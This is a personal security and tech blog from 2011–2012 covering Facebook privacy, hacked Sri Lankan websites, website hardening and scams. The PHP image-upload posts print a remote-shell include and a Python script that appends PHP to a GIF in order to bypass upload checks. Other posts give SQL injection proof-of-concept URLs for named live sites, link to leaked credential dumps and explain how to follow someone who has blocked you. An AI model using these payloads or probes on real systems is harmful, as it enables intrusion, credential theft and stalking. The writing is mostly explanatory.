So if you uploaded a photo on Facebook, and deleted it later, because Facebook doesn't delete the photos from their servers and can be accessed with the direct link, someone with the direct link to the picture can find who uploaded the photo by getting the profile ID from the file name (the 3rd set of numbers of the filename) and and putting the ID next to http://facebook.com/profile.php?id=

The same can be said about private photos, because even the private photos can be access via a direct like and can be used ti find the profile who uploaded the photo by using the profile ID from the filename. And if the photos are pretty embarrassing ones this is not a good thing for user privacy. Like it has been talked in the Ars Technica article.

IT appears that Facebook is doing something good by removing the profile ID from the photo filename. Now it appears that in the new form of a file name there is only 3 set of numbers not 4, with profile ID removed.

The new Facebook image file name looks like this : 427018_10151148496151788_137259437_n.jpg

It apears that Facebook is also renaming the current uploaded photos removing the profile ID. So now there is no chance of finding out the uploader of the photo using the filename of the photo. Although the the 3rd set of numbers of the newly photo filenames sometime will lead you to profiles but they are not the original uploader's profile.

At least this is a small improvement of Facebook privacy although there are worst privacy things happening on Facebook.

Irish Data Protection Commissioner Abruptly Ends Facebook Investigation – Via Text : http://facebookprivacyandsecurity.wordpress.com/2012/07/30/irish-data-protection-commissioner-abruptly-ends-facebook-investigation-via-text/

If You Can't Follow Them Subscribe Them.

2012-07-28T19:44:00.001+05:30

Twitter users can block people that they don't like and sometimes it's pretty hard to keep in track of what they tweet. Few months ago you could follow the account if you made a separate tab on TweetDeck or just visited the profile of the user that blocked you.

But unfortunately, Twitter has removed that feature and now you can't see Tweets of a blocked user if you are logged into Twitter. Either someone who you follow must retweet a tweet from the user that blocked you in order to see it, or you have to log off from your twitter account and go to the profile of the user that blocked you to see the Tweets. but in either ways you can't keep in track with that persons Tweets specially when you are logged in from your mobile device.

There is another way to keep in track, by subscribing to the person's Tweets, if you can't follow them subscribe them. Here ow it's gonna work.

Twitter used to have an RSS feed of someone's Tweets. The RSS feed just got hidden from the profile as the time went on and now you can't find the RSS feed of the users' profile.

But the RSS feed of a person is still accessible and whether he has blocked you or not the RSS feed show all the tweets from that person.

To see the RSS feed all you need to know is that persons Twitter user Id, if you don't know the Twitter ID of the person that blocked you, you can use http://www.idfromuser.com/. Type the username and it will give you the Twitter ID of the person.

Now you can find the RSS feed like this : https://twitter.com/statuses/user_timeline/[user id].rss

Replace the "user id" with the ID of the person that has blocked you and you will have his RSS feed.

For example you can see the RSS feed of @th3j35t3r here : https://twitter.com/statuses/user_timeline/97994396.rss

Here @th3j35t3r's Twitter ID is : 97994396

Now you can subscribe to this RSS feed from your browser or RSS reader like Google Reader and you will have realtime Twitter update from that user.

I've tried this with people having personal Twitter accounts and it didn't work.

The Hacked List Continues : Daily Mirror Website Hacked.

2012-07-26T21:01:00.002+05:30

If you are having a websites it's a must to audit the website for security vulnerabilities from time to time, or at least check the log files for suspicious activities. If not there is likely chance that your website will get pwned (owned) by hackers.

Actually these days I'm digging up and going through Sri Lankan websites hacking news and hacking attempts. So most of the time when I'm bored I'm spending my time on Google. I've made a small Google group to archive cyber crime news and data breaches occurring mainly on Sri Lanka. You can visit the TechyZilla group here.

So anyway when I was dining on Google today I found out the Daily Mirror which is one of the most popular news websites was hacked. The DailyMirror website is so popular a single news gets an average of 7000 views.

The hackers have defaced a page (community.dailymirror.lk) of the website and have left a message warning the website is vulnerable. From the look of the defacement it apears the hackers are from Algeria. What's up with Algerian hackers and Sri Lankan websites anyway? http://outcastlife.wordpress.com/2012/07/07/who-hacked-mahamevnawa-who-are-the-algerian-dz-hackers-all-explained/

So the problem is do web admins don't check their website for vulnerabilities from time to time? or check the logs for suspicious activities? And I don't know date the hackers defaced the website.

Checking at the source code of the defaced page community.dailymirror.lk there is a line BUNDA6 | mami 5 | English (United States) | 11/7/2010 2:35:59 PM I think this is the date the defacement page was created by the hackers, not the actual hacking date. But still I think that the website was hacked some time before.

And because the defacement is still there and the admins haven't done anything about it, it's safe to assume that the website vulnerability that hackers used to gain access to the website and backdoors hackers have left behind in the website to access late might still be there unpatched.

There are so many Sri Lankan websites that are hacked and are still out there without admins knowing about it. I've posted this because DailyMirror is one of the biggest websites in Sri Lanka.

So the lesson to learn here is that admins need to check for vulnerabilities and security holes of their websites frequently and keep things up to date and patched. So bad guys won't break in.

I've also found this that Sunday Times news paper website, which is another popular Sri Lankan news website was also hacked and the hackers have posted the passwords of the cPanel being posted on pastebin. But it appears that Sunday Times was quick to patch the SQL injection vulnerability.

You can check the paste of Sunday Times Website hacking here : http://nopaste.me/raw/738966231501161f8815b0.txt

Fitch Rating Sri Lanka Website Hacked. EnterSys Web Developer Bug?

2012-07-23T20:47:00.001+05:30

The Fitch Rating Sri Lanka website was hacked by followers of Anonymous hackers calling themselves Wall Road Hackers.

The hacking has taken place January 2012, there is no news or anything regarding the hacking. The only thing there is the paste made by hackers on pastebin. ( I stumbled upon this paste accidentally)

So did this hacking too went unnoticed? Like it happened in Gamer.lk hacking where the hacking went unnoticed for 3 months.

The Wall Road hackers have hacked few banks and financial websites, stating that they are against this unfair financial system. The Fitch Rating Sri Lanka is the only website in Sri Lanka to get hacked by Wall Road hackers.

The problem is not only that, the website of Fitch Rating Sri Lanka is developed by web developers called Enter Sys. Two popular news websites developed by EnterSys was also hacked in mid May 2012. So is there a security hole in websites made by Enter Sys? a security hole in the content management system or SQL injection vulnerability etc? Is there a chance that all the websites made by EnterSys having this vulnerability?

The dump of the Fitch Ratings Sri Lanka contains nearly 1000 email addresses, names and passwords. The email addresses belong to bankers representing different banks in the country. The people who are in thing list might be important people in banking sector of Sri Lanka.

So it's important for the people on the list to change their passwords on if they are using the same password they've used for Fitch Ratings Sri Lanka on other websites like their Facebook, email ect.

And it's important for EnterSys too to look in to their website to find if there are any security holes. I will update this post if I find anything new.

The Fitch Rating Sri Lanka website dump : http://nopaste.me/paste/312527981500d0ad054410

The full dump of Wall Road hackers : http://nopaste.me/paste/214995283500d680b39cc6

Join the Google Group to get the news that doesn't make it to the blog : http://groups.google.com/group/techyzilla

Update :

Looks like almost all websites developed by EnterSys suffers from SQL injection vulnerabilities.

The hackers must have used the SQL injection vulnerability to hacked in to the popular newspaper websites developed by EnterSys and FitchRating Lanka websites. Because SQL injection is one of the basic and easy to exploit vulnerabilities.

Although other sites developed by EnterSys are still not been exploited, the websites I checked are vulnerable.

And I hope all these websites are not vulnerable : http://www.entersys.lk/clients-1.html

Proof of concept :

http://www.appoloy.com/news.php?news_id=72'
http://www.gestetnersl.com/product-details.php?product_id=69%20%27

Update 2 :

Looks like some users of the Fitch Rating Lanka Database dump are using the same passwords for their other online accounts as well, a Twitter follower tweeted me that he gained access to some LinkedIn accounts using the password they've used for Fitch Rating Lanka website.

How To Prevent Your Website From Getting Hacked.

2012-07-20T23:42:00.000+05:30

After seeing what happened with Gamer.lk I decided to write a post about how to prevent your website from getting hacked.

There are hundreds of ways hackers use to hack websites. I'm going to talk how to prevent your website from getting hacked by some of the most commonly used ways by day to day hackers.

Keep It Simple.

If you ave a website, the best thing is to keep it simple. Do not install unwanted plugins and themes that you don't need. Insecure plugins and themes are the most common ways hackers gain access to websites. It might be a SQL injection, a local or remote file inclusion or an insecure file uploading in themes and plugins.

When it comes to content management systems like WordPress and Joomla, they are pretty much secure until you install pulgins and insecure themes that put you at risk. Remember the TimThumb, and AddThis plugin vulnerabilities that put thousands of WordPress blogs at risk?

Exploits within a software like WordPress are pretty rare, and in WordPress plugins they are very common and if you don't need them don't use them. Only use plugins and extension what you need for your website.

Keep Things Up To Date.

This is something that most people don't do, or ignore of doing. Keeps your themes, plugins and software up to date. If I was a hacker the first thing I would look at is what are the software that you are using for your website (WordPress, Joomla etc) and the plugins and themes. Then I will look at the versions of them and try to find vulnerabilities that people have posted on vulnerability databases.

So keep things up to date. Even tech people forget or ignore updating their websites and don't know until they are hacked.

Robert Scoble fails to update WordPress, gets hacked

Use Strong Passwords.

If you are the admin of a website, use strong passwords. Do not use hard to guess passwords and dictionary words.

If your website allow users to register, make sure the passwords are stored as salted hashes. Using just hashed passwords are not enough. For an example 60% of the hacked LinkedIn passwords were cracked within 24 hours after posting on the internet. So salting your password on top of hashing is a must.

What to do after getting hacked?

These are just one of the few small things that can help you to protect your website being hacked. But what can you do after your website is hacked?

If your website is hacked, try to find how your website was hacked, there might be some information on server logs, try to find out how the website got hacked. And make sure you get that security hole patched. So hacker can't exploit it in the future.

If it's because of a plugin or an extension, make sure you installed the latest update of it.

Another interesting thing hackers do is, once they hack a website using a certain vulnerability is to close that vulnerability and make a new one for them to access later, or just make a new vulnerability like putting a backdoor code within a normal page of a website. So even after you found the hole that hackers used to hack your website it's also better to check your whole website for back doors hackers have made later.

There is noting to be ashamed of getting hacked. Bigger websites on the internet has suffered hacking attacks.

If your website is a website that interacts with users, tell your users you got hacked, how you got hacked and what the hackers did to your website. Because most responsible websites do that.

But when it comes to gamer.lk it was the opposite of it. When I made the post on gamer.lk forum about the hacking of their website, which in fact the hacking has gone without notice for 3 months. The admins were quick to modify my post and lock the post. So users can't comment on the post and the post will not be noticed by other users.

And if the hackers have accessed the user information of the website, tell users to change their passwords and if they are using the same password on other websites change that passwords as well. Keeping quiet is the worst thing to do.

Gamer.lk Gets Hacked And Stays Hacked For 3 Months

2012-07-18T19:29:00.002+05:30

Yesterday, I was searching on Google and I've set the search results to show results from only Sri Lankan websites, and on the search results I saw a page from gamer.lk.

Gamer.lk is the most popular gaming forum in Sri Lanka with nearly 100,000 gamers, some of my friends are also registered on the website. Gamer.lk also selects the people who go to the world gaming championships from Sri Lanka.

However, the tile of the link looked very unfamiliar and when I clicked on the link it showed up this, a page unlikely to be from gamer.lk.


Click to see the large image

So what's this page doing in gamer.lk, obviously gamer.lk is not selling illegal drugs. So when I googled site:gamer.lk intitle:pharmacy nearly 30 pages like this came up. These Google results dates back to nearly 3 months back, to April 21, 2012. And some of the Google results even says that the site might be compromised.

The fake pages dates back to April 21

Google warns the site might be compromised

This is a common thing for fake websites selling drugs to hack websites and put these kind of pages to increase their Google page rank. Because this was un-attended by the admins of the website I made a small post on Gamer.lk. The site was quick to respond saying they knew a hacking was took place 3 months ago. And these pages are just spam posts by users. However, looking at the page and they are obviously defacements not spam posts.

But the problem is not that, if they knew the site was hacked, did the hackers access the databases of the websites having user information. If so why didn't they warn the users to change the passwords? Why didn't they remove the defaced pages for 3 moths?

Not even that there was a malicious PHP code in the site for all this time which was encrypted, http://nopaste.me/paste/9637759335005ad4838dcf.

So if you are one of the 100,000 users of gamer.lk it's better to change your password and if you are using the same password for other websites like your email and Facebook, change that password as well. Read this post on NakedSecuity for picking up hard to crack passwords.

This is not the only Sri Lankan website that has come to this, if you look around you will find more websites like this.

Update :

Gamer.lk is using a software called SMF (simple machines forum) and Tiny Portal, both are highly buggy with lost of security issues. Although the Tiny Portal they are using is quit new, the SMF version is 1.1.16 which is a very much older version of it.

There are so many exploits in SMF 1.1.16 that you can find here : http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=simple+machines+forum&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=

Some of these exploits include code injections which might have been used to hack gamer.lk, the exploits themselves date back to 2008, 4 years which is a long time. Thankfully the hackers have defaced only few pages to increase Google rank, not the whole forum.

I've talked about this in my next post, the importance of keeping things up to date.

Injecting Malicious PHP In To An Image File : Injection And Execution

2012-07-18T11:36:00.001+05:30

In my last two posts about Malicious PHP Code In The Form of An Image, I only talked about uploading PHP as image files and how websites can be vulnerable to hacking. However in this post I'm going to talk about how to inject PHP code in to a valid image file.

Because malicious PHP code can be uploaded for a website as a JPG or GIf file through insecure upload forms, most upload forms don't check the file extension, but check the content of the file, or check the content of the file and the extension. In that kind of situations a PHP code cannot be uploaded as a image file.

Let's say there is a upload form that doesn't check the file extension but checks the contents of the file. It's secure than just checking the extension of the file. So a hacker can overcome this by injecting malicious PHP code to a valid image file, and upload it as PHP. Which I'm going to talk about now.

There are few ways to add PHP code to a image file, one way is to add the PHP code to the EXITE meta data of the image by simply downloading an EXIF editor, or using a software like GIMP to add the php code to the comment section of the image, or using a HEX editor.

But, there is more simpler way to do it. First make a simple white GIF file, JPG will do too. Make sure it's white, I've used other images but sometimes it give errors in PHP because of the characters of the image code.

Make a small PHP file, make sure the code is small because sometimes it might give a PHP error too if it's too long because we are injecting this to a valid image file, this code will do.

<?php
include ("http://example.com/shell.php");
?>

Save this as a PHP file.

Then make this small piece of python code,

lavender = open ('msgif.gif','rb').read()
lavender += open ('test.php','rb').read()
open ('newphp.php','wb').write(lavender)

Run the python script and the PHP the end result will be a valid image file with malicious PHP code in it, with PHP extension.

And you can upload this to a an upload form that check the contents of an file and not the extension of the file. These forms most of the time check the header of the file (sometimes the header and the width of and height of the image) and does not check the extension because checking the contents of the file is better than just checking the extension and because of this the file can be uploaded as a PHP file. And typing the URL of of the file will execute the PHP code and leaving out the JPG or GIF code. The remote shell will be called and because PHP code executes on the server the remote shell will be executed on the server that has the malicious image.

For upload forms that check both the extension and the content of the file, the malicious image that we made can be renamed as GIF or JPG and can be uploaded to the website, and it can be executed just like a PHP file with an image extension like I talked in my previous 2 posts.

Sometimes websites check for the size of the image with the PHP get image size function, so the if the image is too small it will be not allowed to be uploaded. But if we make a bigger white image it will most probably allow the file to be uploaded.

This can be overcome by forms by not just uploading the file, but recreating image on the server using PHP create image function, or removing the metadata of the image before uploading as well.

I think this brings a wrap to injection malicious PHP code to an image, I'll write a post if I have anything more to add.

Credits : Sam Bowne, LeRes

Malicious PHP Code In The Form of An Image : Insecure Web Apps.

2012-07-17T09:32:00.000+05:30

In my last blog post Malicious PHP Code In The Form of An Image I talked about how an insecure upload forms can be exploited by hackers to upload malicious PHP code (like a PHP shell) directly as a as a PHP file, or a PHP file with a JPG file extension to a vulnerable website.

In that post I said that if the malicious PHP code is upload as a PHP file the file can be executed directly by typing the URL to the file. However if the malicious PHP code is having a JPG extension, the malicious PHP code can't be directly executed if the .htaccess file is not set to run the JPG file as a PHP file.

However in my previous post I said that there are indirect methods where a hacker can run the PHP code having a JPG extension. In this post I' going to talk about few of these methods a hacker can exploit to run the GIF or JPG as a PHP file. Remember, in this post and in the post before I'm talking about a PHP file having a JPG of GIF extension, not a valid GIF or JPG image injected with a PHP code, I'm going to come to that part later)

Let's take an example that your website has an insecure upload form, where it only checks the extension of the files that are being uploaded, it will only alow users to upload files with a valid image extension like JPG, GIF etc. However this form only checks the extension but never checks the contents of the file. Therefor a file with malicious PHP code but having a file extension of a image like JPG or GIF will be happily accepted and the file will be uploaded to your website.

But the file cannot be directly executed because it's having a JPG or GIF file extension. But let's say the uploaded images by the user is loaded in another page that of your site. Let's say you call the uploaded images like this. The image.gif is a PHP file having a .GIF extension.

<?php
include('images/' . $_GET['image.gif']);
require('images/' . $_GET['image.gif']);

include('images/' . $_POST['image.gif']);
include('images/' . $_POST['image.gif']);

include('image.gif');
include('image.gif');
?>

In this situation although the PHP file has a .GIF or .JPG extension, the image.gif file is executed as a PHP file because it's called by include or required function.

Yes it looks more like a local file inclusion but the difference is only files with image extensions are allowed to be uploaded by a upload form.

This is one type of a vulnerability, there are some examples where websites load externally hosted images like this,

http://example.com/image.php?image=http://imagehost/image.gif
or
http://example.com/image.php?image=http://imagehost/photo.php?id=image.gif

In this situation if the image.php of the example.com website use require or include functions to load the external image on the page, and the image.gif is a PHP file with a GIF extension, the malicious .GIF file hosted in a remote location is executed as a PHP on the vulnerable server executing the malicious PHP code.

This is similar to a remote file inclusion.

In this post and the previous post, I've talked about using plain PHP files with a JPG or GIF extension. But in my next post I'll talk about injecting a PHP code to a valid image JPG or GIF file, and executing the PHP code on a remote server.

An example of this in action : http://stackoverflow.com/questions/5101993/can-a-php-shell-be-injected-into-an-image-how-would-this-work

Credits : Sam Bowne , LeRes

Malicious PHP Code In The Form of An Image : Insecure Upload Forms.

2012-07-16T08:50:00.002+05:30

I spent this weekend trying to learn something that I've seen so many times before but never understood what's the real thing behind it. It was about how one can hack a website using a PHP file that's in the form of a GIF or a JPG.

Google doesn't give any good information about this subject, there are few posts and threads, but most of them are not complete and talks only one part of this subject, so I decided to write few posts about this subject, starting from the very basic to the extreme.

I too was learning and new to this topic, so I had to talk with some friends who are experts in the infosec field. So credit goes to LeRes and Sam Bowne and Xnite for helping me to learn about this.

Most websites allow people to upload pictures, in the form of avatar, logo etc. These images are uploaded using an upload form. But how can a hacker use this to hack an insecure website? I'm going to start talking about this subject from the very basic topic : Insecure upload forms.

I'll start with the very basic scenario and I will talk about malicious PHP files in the form of GIF and JPG in the latter part of the website.

It's easy for a hacker to take down a website by uploading a small PHP shell, one way a hacker can upload a shell to a website is by exploiting an insecure upload form on the website.

For example, let's say your website has an upload form. Users use this to upload their avatar picture to your website. But the form doesn't check the file type of the file that's being uploaded, so it's easy for a hacker to use this to simply upload a PHP shell to your and take down your website.

But most of the times, programers are aware of this thing and most forms check the extension of the file-type before uploading it. So these forms will check for a valid image file type before uploading and other files types will not be allowed. So a hacker will not be able to upload a PHP shell, because the extension of the shell is .php and it's not a valid image type.

But what happens if a hacker change the file-type of the shell from PHP to JPG or GIF? Like from shell.php to shell.gif or shell.jpg. Now the file contains PHP code but the extension is of a valid image file-type and the file will be uploaded to your website.

Even if the file shell.jpg (or shell.gif) is uploaded, the website is not totally insecure. Uploading the file is easy but executing the JPG or GIF as PHP is the hard part.

Because the extension of the file-type is .JPG or .GIF and therefore the PHP code can't be executed directly by typing the URL of the shell.jpg on the address bar. Execution of the PHP code by directly typing the URL of the shell.jpg is possible only if the .htaccess file is modified to execute jpg files as PHP.

But if the .htaccess file is set to run JPG as PHP files or the hacker can somehow modify the .htaccess file then you are in trouble. Then although the file extention is GIF or JPG the PHP code will be executed.

I've also come across some forms where they allow us to rename the file when uploading, so insecure programing will check the file-type is a image, but will not check what's the file-type after uploading, so when you set the file name as image.php after uploading then that image.gilf/image.jpg will uploaded then saved on the server as PHP. Trust me this happens in real life.

I'm sure you have seen all these arbitrary file upload vulnerabilities like http://1337day.com/exploits/18807 where they ask you to upload a shell as a JPG or GIF, but you can't execute the code. The reason is that .htaccess file is not set to run JPG or GIF as PHP. Either you have to somehow modify the .htaccess file or the .htaccess file should be set to run JPG or GIF as PHP.

Although there are ways where an attacker can execute the PHP code in a JPG extension indirectly, which I will talk in my next post.

Here I've talked about simple stuff, where you can upload a plain PHP file thought a insecure form, or uploading a PHP file with a image extension JPG or GIF and later executing the file as PHP. There are lot more things to talk about regarding this subject. I don't want to make this post extremely long. I will leave it for my next post.

Good Lesson In Computer Security From College Computer.

2012-01-04T23:51:00.000+05:30

A public computer at a hotel, air port or college in a nice way to browse the internet, but it's a not the best idea to use a public computer to log in to your personal accounts like our Email, Facebook and other personal accounts, because most of the time these public computers are infected with malware and key loggers. Recently, our college computers gave me few lessons about computer security.

Most of us know that all the browsing history of all the computers are closely monitored, although this is not a good thing for our privacy it's been done by the computer administrators saying it's for the safety of the computers. However accessing internet from the college computers is enough for someone with a decent computer knowledge to not visit the computer center again.

The college computers are using Microsoft Internet Explorer 7. When we look at the modern browsing standards IE7 is an old browser with many security vulnerabilities. It's a strongly advised thing by everyone that it's not safe to use IE when browsing the internet. And the the college computer administrators are not letting us install a newer and safer browsers like FireFox or Chrome.
Computers are being infected by key loggers. This is the most dangerous thing when it comes to browsing the internet using public computers. Key loggers are programs written by hackers to record your keystrokes that will record your passwords, and chat records when you log in using a key logger infected computer. The college computers were infected by a key logger called spyEx, and the interesting thing was that the log files were saved in a folder only the computer administrators can access. Since students are not allowed to have administrator accounts the administrators might be recording your passwords without you knowing about it. Recording the browser history is one thing. But recording the passwords of the students is not an acceptable thing.

How to stay safe in situation like this.

Always use a secure modern browser like Google Chrome, FireFox or Opera. It's not a good idea to use any version of Internet Explorer.
Always use two way authentication whenever possible. Both Google and Facebook gives you the chance to use two way authentication, therefore even if your password get stolen by a key logger the hacker won't be able to access your account because of two way authentication.
If you are not using two way authentication and if the website doesn't provide two way authentication, for example Twitter, WordPress, Tumblr, it's better not to log in to your personal accounts using a public computer.

I won't be browsing the internet at our college computer center again. Stay Safe.

Chrome Developers Leave Future 'To Do' Lists Inside The Browser.

2011-12-25T00:59:00.000+05:30

Many of you know that Chrome is a browser developed from the Chromium browser. However do you know that the people who program the browser, leave their future 'TO DO' list inside the browser and it's quite interesting looking at them.

Looking at them these lists include, Chrome bugs that are needed to be fixed, future redesigning talk and some other suggestions for future programing.

To see these To do things.

Open a new tab in Google Chrome, don't go to any website.
Now, right click on the blank page and select 'View page source' option.
Now in a new tab you'll get the code of the blank tab, it's written in HTML so very easy to understand.
Now, press F3 and in the search text box type 'todo'

You can do the same with the options tab of Chrome.

And there you have it, at the time of checking there were 33, to do things inside it. Going through them some of them looks very interesting. The words inside the brackets are actually the names of the programmers either who have made the comment or people who are wither going to do these things in the future.

Some of them include bug reports, bugs that were reported in previous versions, but they didn't fix the bug in thins version but hoping to finish it in the next version.

/* Text alpha doesn't work on Linux/GTK and ChromeOs/views.
* TODO(estade): http://crbug.com/88688. */

Some of these comments are about improving hoping to do in future.

// TODO(rbyers): It might be nice to preserve animation of dots after an
// uninstall. Could we re-use the existing page and dot elements? It seems
// unfortunate to have Chrome send us the entire apps list after an
// uninstall.

----------------------------------------------------------------

/* TODO(estade): this mask is disabled for technical reasons. It negatively * impacts performance of page switching, also it causes problems with Mac * text: http://crbug.com/86955

----------------------------------------------------------------

Some of these TODOs are suggestions about future changes in the how Chrome looks.

/ TODO(csilv): Should we vary this color by platform?
----------------------------------------------------------------
/* TODO(estade): find a better color for active. */
----------------------------------------------------------------
// TODO(arv): Handle scrolled documents when needed.
----------------------------------------------------------------
/* TODO(estade): remove this border hack and replace with a webkit-gradient

The thing that I'm quite not sure is whether these comments and ToDos are left by Chrome programmers from Google or Chromium programmers. If you are using Chromium browser, try to finding out what's inside Chromium, let me know if these is anything new.

No, You Can't Send Files Up To 2GB On Facebook.

2011-12-24T11:59:00.000+05:30

Recently I a message that's going around on Facebook that said about an app/extension that'll give you a chance to send files up to 2GB directly from the chat screen, like we do it on Gmail.

I decided to follow the link and see what's on the other side, the link goes to a site that tells you to another scam website that asks you to pay some money to get a premium services, a typical Facebook scam. Unfortunately I wasn't able to find the source of these scams because all of the links that I tried from the above scam took me to websites that made the scam propagate, however there are some interesting things I want to share about this scam.

If you look at the scam message, the scammers have used some interesting methods to go under the radar of the Facebook spam detection system.

Firstly if you look at the scam message there is a number at the end #536745, the trick is to put a randomly generated number at the end of the scam message, this makes it harder for the Facebook spam detecting system to find this as a scam because each message is different from one another.

The second thing is the link, bit.ly/xxxxx?7524000, by adding a random number at the end of the scam link also makes it even more harder to Facebook to catch this as a scam, this is possible because for some reason the bit.ly and any URL shortening service will drop any character after ? and doesn't give any error message, so scammers can use this to go under the radar of the Facebook system.

If you like to dig even harder like I did, go to ewhois.com enter the site address and if these scammers are using Google analistics, you'll see different sites using the same Google analytics code, which means the sites are being run by the same person. When I checked out with the site above, I saw different scam sites run by these sammers that include a fake eBay type website waiting to snatch credit card information of the unlucky ones.

How to protect yourselves.

Don't click on deals that look out of ordinary, example free iPad deals.
Don't click on the links that have exciting taglines, example 'amazing', 'omg'.
Don't click on links that'll take you to websites that you don't know.
Finally make sure you mark these messages as spam, so Facebook can block them and tell your friend not to fall for such scams in the future.

ChromeOS Might Just Be The Next Game Changer.

2011-12-22T23:22:00.000+05:30

There are times in the history of the computing and the internet that changed the the way people used computers in the decades to come in the future.

For example Apple Making the Macintosh computer. Microsoft making the Windows 95, and when it comes to the internet AOL, Google, and finally the most recent turning point Facebook.

Since Facebook there hasn't had any major change in the way we use computers except the rise of the mobile devices. When it comes to computing the next major change after the invention of Windows might just be the invention of ChromeOS, and might bite a considerable portion users out of Windows.

In a recent statistics released, the time people spent online is increasing with the number of people and time they spend on social networks are also increasing. Therefore it's ok to say in future the internet will be a part of our lives more than ever before. And because of the increasing power of the cloud, more and more things that we needed to do using computer applications can be now done using cloud applications. The best example is Google Docs.

Because more and more computer users increasingly browsing the internet and spending time on social networks, soon all they want will be browser, to browse the internet, connect with friends, share interesting things they find with others. Here is why Chrome OS can change the future in the way we use computers, because the ChromeOS is just a browser, it'll fill the needs of a regular computer users because most of them don't have any advanced thing to do using their computers.

So if everything goes well, after few years we might see, more and more home computers and laptops running on ChromeOS, and Windows will be used only in places like offices and where you need to do advanced things using the computer, like programming or graphic designing.

The other added advantages of ChromeOS are.

No need to update the system, it updates automatically.
Patches and security flaws will be updates automatically.
And because the whole OS is just a browser less memory and less resource usage.
Faster performance out of the computer.

So just think, if you are a big internet user like me, wouldn't you be satisfied with something like ChromeOS? I'll be more than happy to install it on my laptop. But for my desktop computer, i'll keep windows because I need to do my programming.

Down With Facebook Seamless Sharing.

2011-12-21T14:17:00.000+05:30

Recently, I had some interesting Twitter conversation on Twitter about Facebook and social networking and the future of the web. After having the conversation I decided to write a series of posts about Facebook and user privacy.

Social networking is a good concept, it helps to connect people and makes a good way for keeping in touch, but that doesn't mean that we shouldn't have any privacy on the internet.As much as we want privacy in real life there is no difference when it comes to social networking. Because now tanks to Mark's genius idea of connecting people, it's not just people that we know are looking at our photos and information.

So what can we expect from Facebook in 2012 is far more worse than what we are having right now, it's called seamless sharing. As in an article written at Read Write Web, in future you'll have to install a Facebook application before you read articles from your favorite news websites. What these seamless sharing apps will do is that, it'll post every article your read on Facebook, without you knowing that it's being shared with your friends, whether you want to share it with your friends or not.

I think there's something more fundamental going on than this - I think this is a violation of the relationship between the web and its users. Facebook is acting like malware. ~ ReadWriteWeb.Com

Few websites are now testing this concept of seamless sharing as you can see in the above picture of Washington Post.

If you look at the real motive behind seamless sharing, it has nothing to do with the benefit of the Facebook users, this is totally done for the good of the Facebook alone. Facebook is the second most driver of traffic to websites behind Google, but this seamless sharing will increases value of Facebook because it'll drive more traffic to websites, but when it comes to users like you and me seamless sharing is bad because we don't want to share everything that we do without us knowing.

So what are the other bad things when it comes to seamless sharing?

This is totally against the concept of social networking, we only want to sharing certain stuff with our friends, we don't want to share everything that we read online with our friends, do you?
So what happens if websites like YouTube, eBay start using seamless sharing? Everything you buy, everything you watch will be posted on Facebook, then what happens to your online privacy?
As you can see in the picture above these seamless sharing applications won't show what personal information they are going to access on your Facebook account.
This will also clog your timeline with things you are not interested.
And the even worse you might not be allowed to read the article without installing the Facebook app, this is not yet confirmed, some users who didn't add the Facebook app have been denied access to the articles, while some of users have. So looks like it depends on the website, to decide whether they want to let users read the articles without adding the Facebook application.

So now it's a good time to think whether is this why you've signed up for Facebook in the first place, did you signed up to Facebook to keep in touch with friends? or to share everything you do on the internet with others, like what you watch and what you buy?

Partly the users need to take the blame for Facebook playing with their personal information, many of the users who are on Facebook don't understand the importance of online privacy, or don't know about online privacy. Because of this users don't talk or do anything against when Facebook when they are doing what's not right and unethical. As long as people are silent on what Facebook is doing they are not going to stop. Right now people who regularly keep in touch with internet security are the only once talking about the wrong things done by Facebook.

As our future is governed more and more by the internet, what we post now on Facebook or Twitter will have a serious effect in future. The people who love Facebook will regret joining Facebook in few years time.

Socl, Microsoft Testing It's Own Social Network.

2011-12-17T23:35:00.000+05:30

After Google entered the social networking battlefield, looks like it's Microsoft's turn to have their own social network and they've secretly started testing a new social network for a selected few users. As you can see in the screenshot about, the site was accidentally went public at socl.com, Microsoft's newly owned domain name, but soon it was taken offline.

From the look of it and as many people who looked at the site when it was made public, people have to log in to it using their Facebook or Twitter account's. When I tries to access socl.com it redirected me to so.cl. It has some nice video that might be showing what's to come from their social network, from the look of it and seeing what's their at so.cl, it's more like a search engine based social networking, meaning you'll share your search results with your friends and based on the Bing API.

I tried to log in to the site using my Facebook account and it redirects me to a Facebook application called so.cl. However when I give approve to the Facebook application, it just redirects me back to the welcome screen.

However I tried logging in few times and once I was redirected to a page https://www.so.cl/#/error/overcapacity. When I go to the Microsoft Fuse Labs blog, I think currently they are testing the site for only a selected college students. But as this page says if i get an Email bu chance, which i think might be highly unlikely, I might be able to get a sneak peak at Microsoft social network.

Click to see the picture enlarged

If you go and check the so.cl application wall of Facebook you can see some people have already got their invitations from people working inside Fuse Labs. Looking at some of the screen shots of so.cl, the design looks very much like Google+, where you follow people, not like Facebook adding people as friends.

However I think it's highly unlikely for a social network from Microsoft, based on Bing to succeed, with only having 10% of the search market. But my personal thought is do we need another social network? Aren't we having enough social networks already? I'll talk about that in my next post. Till then I'll be keeping a close eye on my email to see if so.cl would actually send me an invitation.